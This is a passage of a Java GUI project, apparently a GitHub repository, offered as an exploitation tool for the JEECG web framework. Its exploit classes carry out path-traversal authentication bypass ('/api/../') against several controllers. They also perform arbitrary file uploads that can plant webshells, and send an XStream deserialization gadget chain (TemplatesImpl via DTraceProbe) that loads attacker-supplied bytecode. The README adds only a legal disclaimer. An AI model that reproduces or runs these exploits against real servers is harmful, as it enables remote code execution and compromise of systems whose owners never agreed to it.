[
  {
    "path": "README.md",
    "content": "## 介绍\n\n**本工具为jeecg框架漏洞利用工具非jeecg-boot！**\n\n**包含poc：**\n\n- **登录绕过检测**\n- **jeecgFormDemo文件上传**\n- **common文件上传**\n- **icon文件上传**\n- **Xstream反序列化**\n\n\n\n## 使用\n\n**运行于jdk8环境**\n\n```shell\njava -jar Jeecg_Tools-1.0-java8.jar\n```\n![image-20240807235234773](https://raw.githubusercontent.com/K-7H7l/Jeecg_Tools/main/sc_20240808001746.png)\n\n\n## 参考\n\n[ThinkphpGUI](https://github.com/Lotus6/ThinkphpGUI)\n\nhttps://mp.weixin.qq.com/s/kLJLXc_tn1mrClweaX2bkw\n\nhttps://mp.weixin.qq.com/s/mV4GNI9O4a1pT3ve3Mt75Q\n\n\n\n## 声明\n\n本工具仅能在取得足够合法授权的企业安全建设中使用，在使用本工具过程中，您应确保自己所有行为符合当地的法律法规。\n\n如您在使用本工具的过程中存在任何非法行为，您将自行承担所有后果，本工具所有开发者和所有贡献者不承担任何法律及连带责任。\n\n除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。\n\n您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.example</groupId>\n    <artifactId>Jeecg_Tools</artifactId>\n    <version>1.0-SNAPSHOT</version>\n    <name>Jeecg_Tools</name>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>\n        <junit.version>5.8.1</junit.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.openjfx</groupId>\n            <artifactId>javafx-controls</artifactId>\n            <version>11.0.2</version>\n        </dependency>\n        <dependency>\n            <groupId>org.openjfx</groupId>\n            <artifactId>javafx-fxml</artifactId>\n            <version>11.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-api</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n\n<!--        <dependency>-->\n<!--            <groupId>com.github.kevinsawicki</groupId>-->\n<!--            <artifactId>http-request</artifactId>-->\n<!--            <version>6.0</version>-->\n<!--            <scope>test</scope>-->\n<!--        </dependency>-->\n\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.29</version>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-engine</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n\n<!--        <dependency>-->\n<!--            <groupId>com.github.kevinsawicki</groupId>-->\n<!--            <artifactId>http-request</artifactId>-->\n<!--            <version>6.0</version>-->\n<!--        </dependency>-->\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>11</source>\n                    <target>11</target>\n                </configuration>\n            </plugin>\n<!--            <plugin>-->\n<!--                <groupId>org.openjfx</groupId>-->\n<!--                <artifactId>javafx-maven-plugin</artifactId>-->\n<!--                <version>0.0.8</version>-->\n<!--                <executions>-->\n<!--                    <execution>-->\n<!--                        &lt;!&ndash; Default configuration for running with: mvn clean javafx:run &ndash;&gt;-->\n<!--                        <id>default-cli</id>-->\n<!--                        <configuration>-->\n<!--                            <mainClass>com.example.jeecg_tools.HelloApplication</mainClass>-->\n<!--                            <launcher>app</launcher>-->\n<!--                            <jlinkZipName>app</jlinkZipName>-->\n<!--                            <jlinkImageName>app</jlinkImageName>-->\n<!--                            <noManPages>true</noManPages>-->\n<!--                            <stripDebug>true</stripDebug>-->\n<!--                            <noHeaderFiles>true</noHeaderFiles>-->\n<!--                        </configuration>-->\n<!--                    </execution>-->\n<!--                </executions>-->\n<!--            </plugin>-->\n<!--            <plugin>-->\n<!--                <groupId>org.apache.maven.plugins</groupId>-->\n<!--                <artifactId>maven-shade-plugin</artifactId>-->\n<!--                <version>3.2.1</version>-->\n<!--                <configuration>-->\n<!--                    <createDependencyReducedPom>false</createDependencyReducedPom>-->\n<!--                    <transformers>-->\n<!--                        <transformer implementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\">-->\n<!--                            <mainClass>com.example.jeecg_tools.HelloApplication</mainClass>-->\n<!--                        </transformer>-->\n<!--                    </transformers>-->\n<!--                </configuration>-->\n<!--                <executions>-->\n<!--                    <execution>-->\n<!--                        <phase>package</phase>-->\n<!--                        <goals>-->\n<!--                            <goal>shade</goal>-->\n<!--                        </goals>-->\n<!--                    </execution>-->\n<!--                </executions>-->\n<!--            </plugin>-->\n            <plugin>\n                <artifactId>maven-assembly-plugin</artifactId>\n                <version>2.5.5</version>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <mainClass>com.example.jeecg_tools.MainRunner</mainClass>\n                        </manifest>\n                    </archive>\n                    <descriptorRefs>\n                        <descriptorRef>jar-with-dependencies</descriptorRef>\n                    </descriptorRefs>\n                </configuration>\n            </plugin>\n\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/HelloApplication.java",
    "content": "package com.example.jeecg_tools;\n\nimport cn.hutool.http.GlobalHeaders;\nimport javafx.application.Application;\nimport javafx.fxml.FXMLLoader;\nimport javafx.scene.Scene;\nimport javafx.stage.Stage;\n\nimport java.io.IOException;\n\npublic class HelloApplication extends Application {\n    @Override\n    public void start(Stage stage) throws IOException {\n\n        FXMLLoader fxmlLoader = new FXMLLoader(HelloApplication.class.getResource(\"hello-view.fxml\"));\n        Scene scene = new Scene(fxmlLoader.load(), -1, -1);\n        scene.getRoot().setStyle(\"-fx-font-family: 'serif'\");\n        stage.setTitle(\"Jeecg-exp-GUI\");\n\n        stage.setScene(scene);\n        stage.show();\n    }\n\n//    public static void main(String[] args) {\n//        launch();\n//    }\n}"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/HelloController.java",
    "content": "package com.example.jeecg_tools;\n\nimport cn.hutool.http.HttpResponse;\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.entity.Result;\nimport com.example.jeecg_tools.util.ExppList;\nimport com.example.jeecg_tools.util.Tools;\nimport javafx.fxml.FXML;\nimport cn.hutool.http.HttpRequest;\nimport javafx.scene.control.Button;\nimport javafx.scene.control.CheckBox;\nimport javafx.scene.control.ComboBox;\nimport javafx.scene.control.TextArea;\nimport javafx.scene.input.MouseEvent;\nimport javafx.scene.control.Alert;\nimport cn.hutool.http.GlobalHeaders;\n\nimport java.time.LocalDate;\nimport java.util.List;\n\n\npublic class HelloController {\n\n    //Alert alert = new Alert(Alert.AlertType.INFORMATION);\n\n    @FXML\n    private CheckBox CheckHEAD_;\n\n    @FXML\n    private TextArea FileContent_;\n\n    @FXML\n    private TextArea FileName_;\n\n    @FXML\n    private Button FileUpload_;\n\n    @FXML\n    private TextArea OutPath_;\n\n    @FXML\n    private TextArea URL_;\n\n    @FXML\n    private Button Vulcheck_;\n\n    @FXML\n    private TextArea INFO_;\n\n    @FXML\n    private TextArea XsContent_;\n\n    @FXML\n    private TextArea XsFilename_;\n\n    @FXML\n    private TextArea XsXsOut_;\n\n    @FXML\n    private Button Inject_;\n\n    @FXML\n    private TextArea HEAD_;\n\n    @FXML\n    private ComboBox<String> comboBox;\n\n    Alert alert = new Alert(Alert.AlertType.INFORMATION);\n\n    public void initialize() {\n        XsFilename_.setText(LocalDate.now()+\".zip\");\n        this.comboBox.setValue(\"ALL\");\n        this.comboBox.getItems().add(\"ALL\");\n        this.comboBox.getItems().addAll(ExppList.get_exp());\n        this.CheckHEAD_.setSelected(false);\n    }\n\n    @FXML\n    void Cookie_(MouseEvent event) {\n        if(this.CheckHEAD_.isSelected()){\n            String header = HEAD_.getText();\n            if(!header.isEmpty()){\n                String hea = header.trim();\n                int index = hea.indexOf(\":\");\n                if (index == -1) {\n                    this.alert.setTitle(\"提示:\");\n                    this.alert.setHeaderText(null);\n                    this.alert.setContentText(\"请求头格式错误！\");\n                    this.alert.showAndWait();\n                    return;\n                }\n                String mapk = hea.substring(0,index);\n                String mapv = hea.substring(index+1);\n                GlobalHeaders.INSTANCE.clearHeaders();\n                GlobalHeaders.INSTANCE.header(mapk,mapv);\n            }\n        }else{\n            GlobalHeaders.INSTANCE.clearHeaders();\n        }\n\n\n\n    }\n\n    @FXML\n    void Inject(MouseEvent event) throws Exception {\n        this.Cookie_(event);\n        String url = URL_.getText();\n        String filename = XsFilename_.getText();\n        String payload = XsContent_.getText();\n        BasePayload bp = Tools.getPayload(\"JEECG Xstream反序列化\");\n        Result vul = bp.Inject(url, filename, payload);\n        if (vul.isRes()) {\n            XsXsOut_.setText(\"[+] 已尝试注入，请访问！\");\n        } else {\n            XsXsOut_.setText(\"[-] 注入失败！\"+vul.getPayload()+vul.getVuln());\n        }\n    }\n\n    @FXML\n    void FileUpload(MouseEvent event) throws Exception {\n        this.Cookie_(event);\n        String url = URL_.getText();\n        String version = comboBox.getSelectionModel().getSelectedItem();\n\n        if (!version.contains(\"文件上传\")){\n            this.alert.setTitle(\"提示:\");\n            this.alert.setHeaderText(null);\n            this.alert.setContentText(\"请选择上传类漏洞！\");\n            this.alert.showAndWait();\n            return;\n        }\n\n        String filename = FileName_.getText();\n        String filecontent = FileContent_.getText();\n            BasePayload bp = Tools.getPayload(version);\n            Result vul = bp.fileUpload(url, filename, filecontent);\n            if (vul.isRes()) {\n                OutPath_.setText(\"[+] 文件上传成功：\" + url + \"/\" + vul.getVuln());\n            } else {\n                OutPath_.setText(\"[-] 文件上传失败！\");\n            }\n    }\n\n    @FXML\n    void VulCheck(MouseEvent event) throws Exception {\n        this.Cookie_(event);\n        String url = URL_.getText();\n        try {\n            HttpRequest res = HttpRequest.get(url);\n            HttpResponse execute = res.execute();\n            System.out.println(execute.body());\n        }catch (Exception e){\n            INFO_.setText(\"[-] 访问：\" + new String(URL_.getText())+\"失败！\\n\\n\" + e);\n            return;\n        }\n\n        String version = comboBox.getSelectionModel().getSelectedItem();\n\n        if(version == \"ALL\"){\n            INFO_.setText(\"\");\n            List<String> explist = ExppList.get_exp();\n            for (int i = 0; i < explist.size(); i++) {\n                BasePayload bp = Tools.getPayload(explist.get(i));\n                Result vul = bp.checkVUL(url);\n\n                if(vul.isRes()){\n                    INFO_.appendText(\"[+] 存在接口：\"+explist.get(i)+\"，请尝试漏洞利用！\\n\\n访问URL：\"+vul.getPayload()+\"\\n\\n\"+\"-------------------------------\\n\\n\\n\");\n                }else{\n                    INFO_.appendText(\"[-] 不存在漏洞：\"+explist.get(i)+\"\\n\\n访问URL：\"+vul.getPayload()+\"\\n\\n请尝试登录后利用！\"+\"\\n\\n\"+\"-------------------------------\\n\\n\\n\");\n                }\n            }\n            return;\n        }\n\n        BasePayload bp = Tools.getPayload(version);\n        Result vul = bp.checkVUL(url);\n        if(vul.isRes()){\n            INFO_.setText(\"[+] 存在接口：\"+version+\"，请尝试漏洞利用！\\n\\n访问URL：\"+vul.getPayload()+\"\\n\\n\"+\"返回包：\" + vul.getVuln());\n        }else{\n            INFO_.setText(\"[-] 不存在漏洞：\"+version+\"\\n\\n访问URL：\"+vul.getPayload()+\"\\n\\n\"+\"返回包：\" + vul.getVuln());\n        }\n    }\n\n\n    @FXML\n    void onCleanlog(MouseEvent event) {\n        INFO_.setText(\"\");\n    }\n\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/MainRunner.java",
    "content": "package com.example.jeecg_tools;\n\npublic class MainRunner {\n    public static void main(String[] args) {\n        HelloApplication.launch(HelloApplication.class);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/common/BasePayload.java",
    "content": "package com.example.jeecg_tools.common;\n\nimport com.example.jeecg_tools.entity.Result;\n\npublic interface BasePayload {\n    Result checkVUL(String str) throws Exception;\n    Result exeVUL(String str,String str2) throws Exception;\n    Result getShell(String str) throws Exception;\n    Result fileUpload(String str, String filename,String filecontent) throws Exception;\n    Result Inject(String url,String xsfilename,String payload) throws Exception;\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/entity/Result.java",
    "content": "package com.example.jeecg_tools.entity;\n\npublic class Result {\n    boolean res;\n    String payload;\n    String vuln;\n\n    public boolean isRes() {\n        return res;\n    }\n\n    public void setRes(boolean res) {\n        this.res = res;\n    }\n\n    public String getPayload() {\n        return payload;\n    }\n\n    public void setPayload(String payload) {\n        this.payload = payload;\n    }\n\n    public String getVuln() {\n        return vuln;\n    }\n\n    public void setVuln(String vuln) {\n        this.vuln = vuln;\n    }\n\n    public Result(boolean res, String payload, String vuln) {\n        this.res = res;\n        this.payload = payload;\n        this.vuln = vuln;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java",
    "content": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.entity.Result;\n\nimport java.io.*;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\npublic class JEECG_XstreamInject implements BasePayload {\n    @Override\n    public Result checkVUL(String str) throws Exception {\n        String payload = str+\"/api/../cgformSqlController.do?doMigrateIn\";\n        try {\n            cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload);\n            req.method(Method.GET);\n            HttpResponse execute = req.execute();\n            String reqbody = execute.body();\n            if (execute.getStatus()==200){\n                return new Result(true,payload, reqbody);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,payload,null);\n    }\n\n    @Override\n    public Result exeVUL(String str, String str2) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result getShell(String str) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result fileUpload(String str, String filename, String filecontent) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result Inject(String url, String xsfilename, String payload) throws Exception {\n        byte[] zipBytes;\n\n        String uri = url+\"/api/../cgformSqlController.do?doMigrateIn\";\n        System.out.println(\"inject\");\n        String head = \"<linked-hash-set>\\n\" +\n                \"    <dynamic-proxy>\\n\" +\n                \"        <interface>map</interface>\\n\" +\n                \"        <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\\n\" +\n                \"            <classToInvocationHandler class='linked-hash-map'/>\\n\" +\n                \"            <defaultHandler class='sun.tracing.NullProvider'>\\n\" +\n                \"                <active>true</active>\\n\" +\n                \"                <providerType>java.lang.Object</providerType>\\n\" +\n                \"                <probes>\\n\" +\n                \"                    <entry>\\n\" +\n                \"                        <method>\\n\" +\n                \"                            <class>java.lang.Object</class>\\n\" +\n                \"                            <name>hashCode</name>\\n\" +\n                \"                            <parameter-types/>\\n\" +\n                \"                        </method>\\n\" +\n                \"                        <sun.tracing.dtrace.DTraceProbe>\\n\" +\n                \"                            <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\\n\" +\n                \"                                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\\n\" +\n                \"                                    <default>\\n\" +\n                \"                                        <__name>Pwnr</__name>\\n\" +\n                \"                                        <__bytecodes>\\n\" +\n                \"                                             <byte-array>\";\n\n        String tail = \"</byte-array>\\n\" +\n                \"                                        </__bytecodes>\\n\" +\n                \"                                        <__transletIndex>-1</__transletIndex>\\n\" +\n                \"                                        <__indentNumber>0</__indentNumber>\\n\" +\n                \"                                    </default>\\n\" +\n                \"                                    <boolean>false</boolean>\\n\" +\n                \"                                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\\n\" +\n                \"                            </proxy>\\n\" +\n                \"                            <implementing__method>\\n\" +\n                \"                                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\\n\" +\n                \"                                <name>getOutputProperties</name>\\n\" +\n                \"                                <parameter-types/>\\n\" +\n                \"                            </implementing__method>\\n\" +\n                \"                        </sun.tracing.dtrace.DTraceProbe>\\n\" +\n                \"                    </entry>\\n\" +\n                \"                </probes>\\n\" +\n                \"            </defaultHandler>\\n\" +\n                \"        </handler>\\n\" +\n                \"    </dynamic-proxy>\\n\" +\n                \"</linked-hash-set>\";\n\n        try {\n            String Payload = head+payload+tail;\n        // 创建一个字节数组输出流，用于存储ZIP文件内容\n        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n        // 创建ZIP输出流\n        ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);\n\n        // 创建一个XML文件内容\n        byte[] xmlBytes = Payload.getBytes();\n\n        // 创建一个ZIP条目（相当于ZIP文件中的一个文件）\n        ZipEntry zipEntry = new ZipEntry(\"1.xml\");\n        zipOutputStream.putNextEntry(zipEntry);\n        // 写入XML文件内容到ZIP条目\n        zipOutputStream.write(xmlBytes,0,xmlBytes.length);\n\n        zipOutputStream.closeEntry();\n        zipOutputStream.close();\n        zipBytes= byteArrayOutputStream.toByteArray();\n\n    }catch(IOException e){\n        return new Result(false,\"出现错误！\", String.valueOf(e));\n    }\n\n        try{\n            cn.hutool.http.HttpRequest httpRequest = new cn.hutool.http.HttpRequest(uri);\n            httpRequest.setMethod(Method.POST);\n            httpRequest.form(\"file\",zipBytes,xsfilename);\n            HttpResponse rep = httpRequest.execute();\n\n            int startcode  = rep.getStatus();\n            String reqbody = rep.body();\n\n            if (startcode==200 && reqbody.contains(\"converters\")){\n                return new Result(true,null, null);\n            }else{\n                return new Result(false,\"返回内容：\\n\\n\", reqbody);\n            }\n\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java",
    "content": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpRequest;\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.entity.Result;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class JEECG_commonUpload implements BasePayload {\n    @Override\n    public Result Inject(String url, String xsfilename, String payload) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result checkVUL(String str) throws Exception {\n        String payload = str+\"/api/../commonController.do?parserXml\";\n        try {\n            HttpResponse req = HttpRequest.get(payload).execute();\n            String reqbody = req.body();\n            if (req.getStatus()==200){\n                return new Result(true,payload, reqbody);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,payload,null);\n    }\n\n    @Override\n    public Result exeVUL(String str, String str2) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result getShell(String str) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result fileUpload(String str, String filename, String filecontent) throws Exception {\n\n        String payload = str+\"/api/../commonController.do?parserXml\";\n        byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);\n        Map<String,Object> map = new HashMap<>();\n        map.put(\"name\",filename);\n        map.put(\"documentTitle\",\"blank\");\n        try{\n\n            HttpRequest httpRequest = new HttpRequest(payload);\n            httpRequest.setMethod(Method.POST);\n            httpRequest.form(map);\n            httpRequest.form(\"file\",fileContentByte,filename);\n            HttpResponse rep = httpRequest.execute();\n\n            int startcode  = rep.getStatus();\n            String reqbody = rep.body();\n\n            if (startcode==200 && reqbody.contains(\"true\")){\n                return new Result(true,null, filename);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,null,null);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java",
    "content": "package com.example.jeecg_tools.exploit;\n\n import cn.hutool.http.HttpResponse;\n import cn.hutool.http.HttpRequest;\n import cn.hutool.http.Method;\n import com.example.jeecg_tools.common.BasePayload;\n import com.example.jeecg_tools.entity.Result;\n import java.nio.charset.StandardCharsets;\n import java.util.HashMap;\n import java.util.Map;\n\n\npublic class JEECG_iconUpload implements BasePayload {\n\n\n    @Override\n    public Result checkVUL(String str) throws Exception {\n        String payload = str+\"/api/../iconController.do?saveOrUpdateIcon\";\n        try {\n            HttpResponse req = HttpRequest.get(payload).execute();\n            String reqbody = req.body();\n            if (req.getStatus()==200){\n                return new Result(true,payload, reqbody);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,payload,null);\n    }\n\n    @Override\n    public Result exeVUL(String str, String str2) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result getShell(String str) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result fileUpload(String str, String filename,String filecontent) throws Exception {\n        String payload = str+\"/api/../iconController.do?saveOrUpdateIcon\";\n        byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);\n        Map<String,Object> map = new HashMap<>();\n        map.put(\"iconType\",\"\");\n        map.put(\"iconName\",\"\");\n        try{\n\n            HttpRequest httpRequest = new HttpRequest(payload);\n            httpRequest.setMethod(Method.POST);\n            httpRequest.form(map);\n            httpRequest.form(\"file\",fileContentByte,filename);\n            HttpResponse rep = httpRequest.execute();\n\n            int startcode  = rep.getStatus();\n            String reqbody = rep.body();\n\n        if (startcode==200 && reqbody.contains(\"true\")){\n            return new Result(true,null, \"/plug-in/accordion/images/\"+filename);\n        }\n    }catch (Exception e){\n        e.printStackTrace();\n    }\n        return new Result(false,null,null);\n    }\n\n    @Override\n    public Result Inject(String url, String xsfilename, String payload) throws Exception {\n\n        return null;\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java",
    "content": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpRequest;\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.entity.Result;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\n\npublic class JEECG_jeecgFormDemo implements BasePayload {\n\n\n    @Override\n    public Result checkVUL(String str) throws Exception {\n        String payload = str+\"/api/../jeecgFormDemoController.do?saveFiles\";\n        try {\n            HttpResponse req = HttpRequest.get(payload).execute();\n            String reqbody = req.body();\n            if (req.getStatus()==200){\n                return new Result(true,payload, reqbody);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,payload,null);\n    }\n\n    @Override\n    public Result exeVUL(String str, String str2) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result getShell(String str) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result fileUpload(String str, String filename,String filecontent) throws Exception {\n        String payload = str+\"/api/../jeecgFormDemoController.do?saveFiles\";\n        byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);\n        Map<String,Object> map = new HashMap<>();\n        map.put(\"name\",\"\");\n        map.put(\"documentTitle\",\"\");\n        try{\n\n            HttpRequest httpRequest = new HttpRequest(payload);\n            httpRequest.setMethod(Method.POST);\n            httpRequest.form(map);\n            httpRequest.form(\"file\",fileContentByte,filename);\n            HttpResponse rep = httpRequest.execute();\n\n            int startcode  = rep.getStatus();\n            String reqbody = rep.body();\n            JSONObject jsonrep = JSONUtil.parseObj(reqbody);\n            String sitefile =jsonrep.getByPath(\"attributes.url\").toString();\n        if (startcode==200 && !sitefile.isEmpty()){\n            return new Result(true,null, sitefile);\n        }\n    }catch (Exception e){\n        e.printStackTrace();\n    }\n        return new Result(false,null,null);\n    }\n\n    @Override\n    public Result Inject(String url, String xsfilename, String payload) throws Exception {\n\n        return null;\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java",
    "content": "package com.example.jeecg_tools.exploit;\n\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.Method;\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.entity.Result;\n\npublic class JEECG_unauthorized implements BasePayload {\n\n    @Override\n    public Result checkVUL(String str) throws Exception {\n        String payload = str+\"/api/../systemController.do?typeGroupTabs\";\n        try {\n            cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload);\n            req.method(Method.GET);\n            HttpResponse rep =req.execute();\n            String reqbody = rep.body();\n            if (rep.getStatus()==200){\n                return new Result(true,payload, reqbody);\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n        return new Result(false,payload,null);\n    }\n\n    @Override\n    public Result exeVUL(String str, String str2) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result getShell(String str) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result fileUpload(String str, String filenmae, String filecontent) throws Exception {\n        return null;\n    }\n\n    @Override\n    public Result Inject(String url, String xsfilename, String payload) throws Exception {\n        return null;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/util/ExppList.java",
    "content": "package com.example.jeecg_tools.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class ExppList {\n    public static List<String> get_exp() {\n        List<String> list = new ArrayList<>();\n        list.add(\"JEECG 登录绕过\");\n        list.add(\"JEECG jeecgFormDemo文件上传\");\n        list.add(\"JEECG common文件上传\");\n        list.add(\"JEECG icon文件上传\");\n        list.add(\"JEECG Xstream反序列化\");\n\n        return list;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/example/jeecg_tools/util/Tools.java",
    "content": "package com.example.jeecg_tools.util;\n\nimport com.example.jeecg_tools.common.BasePayload;\nimport com.example.jeecg_tools.exploit.*;\nimport java.net.Authenticator;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.net.ProxySelector;\n\npublic class Tools {\n    private static final Map<String, BasePayload>payloadMap =new HashMap<>();\n    static {\n        payloadMap.put(\"JEECG 登录绕过\",new JEECG_unauthorized());\n        payloadMap.put(\"JEECG icon文件上传\",new JEECG_iconUpload());\n        payloadMap.put(\"JEECG jeecgFormDemo文件上传\",new JEECG_jeecgFormDemo());\n        payloadMap.put(\"JEECG common文件上传\",new JEECG_commonUpload());\n        payloadMap.put(\"JEECG Xstream反序列化\",new JEECG_XstreamInject());\n    }\n\n    public static BasePayload getPayload(String select){\n        return payloadMap.get(select);\n    }\n\n}\n"
  },
  {
    "path": "src/main/resources/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\r\nMain-Class: com.example.jeecg_tools.HelloApplication\r\n\r\n"
  },
  {
    "path": "src/main/resources/com/example/jeecg_tools/hello-view.fxml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<?import javafx.geometry.Insets?>\n<?import javafx.scene.control.Button?>\n<?import javafx.scene.control.CheckBox?>\n<?import javafx.scene.control.ComboBox?>\n<?import javafx.scene.control.Label?>\n<?import javafx.scene.control.Menu?>\n<?import javafx.scene.control.MenuBar?>\n<?import javafx.scene.control.MenuItem?>\n<?import javafx.scene.control.Tab?>\n<?import javafx.scene.control.TabPane?>\n<?import javafx.scene.control.TextArea?>\n<?import javafx.scene.control.TitledPane?>\n<?import javafx.scene.layout.AnchorPane?>\n<?import javafx.scene.text.Text?>\n\n<AnchorPane prefHeight=\"643.0\" prefWidth=\"804.0\" xmlns=\"http://javafx.com/javafx/17\" xmlns:fx=\"http://javafx.com/fxml/1\" fx:controller=\"com.example.jeecg_tools.HelloController\">\n   <children>\n      <TitledPane layoutY=\"24.0\" prefHeight=\"115.0\" prefWidth=\"804.0\" text=\"漏洞检测\">\n        <content>\n          <AnchorPane minHeight=\"0.0\" minWidth=\"0.0\" prefHeight=\"85.0\" prefWidth=\"802.0\">\n               <children>\n                  <TextArea fx:id=\"URL_\" layoutX=\"64.0\" layoutY=\"13.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"379.0\" text=\"http://192.168.43.54:8080/jeecg\" />\n               \n                                              <Label layoutX=\"8.0\" layoutY=\"19.0\" prefHeight=\"17.0\" prefWidth=\"43.0\" text=\"URL：\" />\n                   <Button fx:id=\"Vulcheck_\" layoutX=\"632.0\" layoutY=\"14.0\" onMousePressed=\"#VulCheck\" text=\"漏洞检测\" textAlignment=\"RIGHT\">\n                     <opaqueInsets>\n                        <Insets left=\"20.0\" />\n                     </opaqueInsets>\n                  </Button>\n                  <Button fx:id=\"Clean_\" layoutX=\"711.0\" layoutY=\"14.0\" mnemonicParsing=\"false\" onMousePressed=\"#onCleanlog\" text=\"清空日志\" />\n                  <ComboBox fx:id=\"comboBox\" layoutX=\"458.0\" layoutY=\"14.0\" prefWidth=\"150.0\" />\n                  <Label layoutX=\"8.0\" layoutY=\"56.0\" prefHeight=\"17.0\" prefWidth=\"58.0\" text=\"请求头：\" wrapText=\"true\" />\n                  <TextArea fx:id=\"HEAD_\" layoutX=\"64.0\" layoutY=\"50.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"545.0\" text=\"Cookie: JSESSIONID=4542BAB4C4C024F42DA05EC85186AE4D;\" wrapText=\"true\" />\n                  <CheckBox fx:id=\"CheckHEAD_\" layoutX=\"626.0\" 